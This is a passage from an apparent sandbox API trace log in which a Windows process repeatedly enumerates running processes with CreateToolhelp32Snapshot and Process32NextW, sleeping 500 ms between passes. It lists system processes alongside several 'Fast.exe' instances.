th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0253.336] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0253.337] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.338] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0253.339] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.340] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0253.341] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0253.342] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0253.342] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0253.343] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.344] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.345] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.346] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.347] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.348] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0253.348] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.349] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.350] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0253.351] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.352] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0253.353] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0253.354] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0253.359] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0253.359] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0253.360] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0253.361] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0253.362] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0253.363] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0253.364] CloseHandle (hObject=0x1e0) returned 1 [0253.364] Sleep (dwMilliseconds=0x1f4) [0254.006] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0254.014] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.015] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0254.016] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0254.017] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.017] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0254.018] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.019] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0254.020] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0254.021] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0254.022] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0254.023] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.024] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.025] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.026] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.027] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.028] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0254.028] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.029] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.030] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0254.031] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.032] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0254.033] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0254.034] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0254.035] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0254.036] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0254.036] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0254.037] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0254.038] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0254.826] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0254.827] CloseHandle (hObject=0x1e0) returned 1 [0254.827] Sleep (dwMilliseconds=0x1f4) [0255.495] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0255.500] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.501] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0255.502] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0255.503] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.503] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0255.504] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.506] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0255.507] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0255.508] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0255.509] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0255.509] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.510] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.511] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.512] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.513] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.514] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0255.515] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.516] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.517] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0255.517] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.518] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0255.519] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0255.520] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0255.522] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0255.522] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0255.523] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, 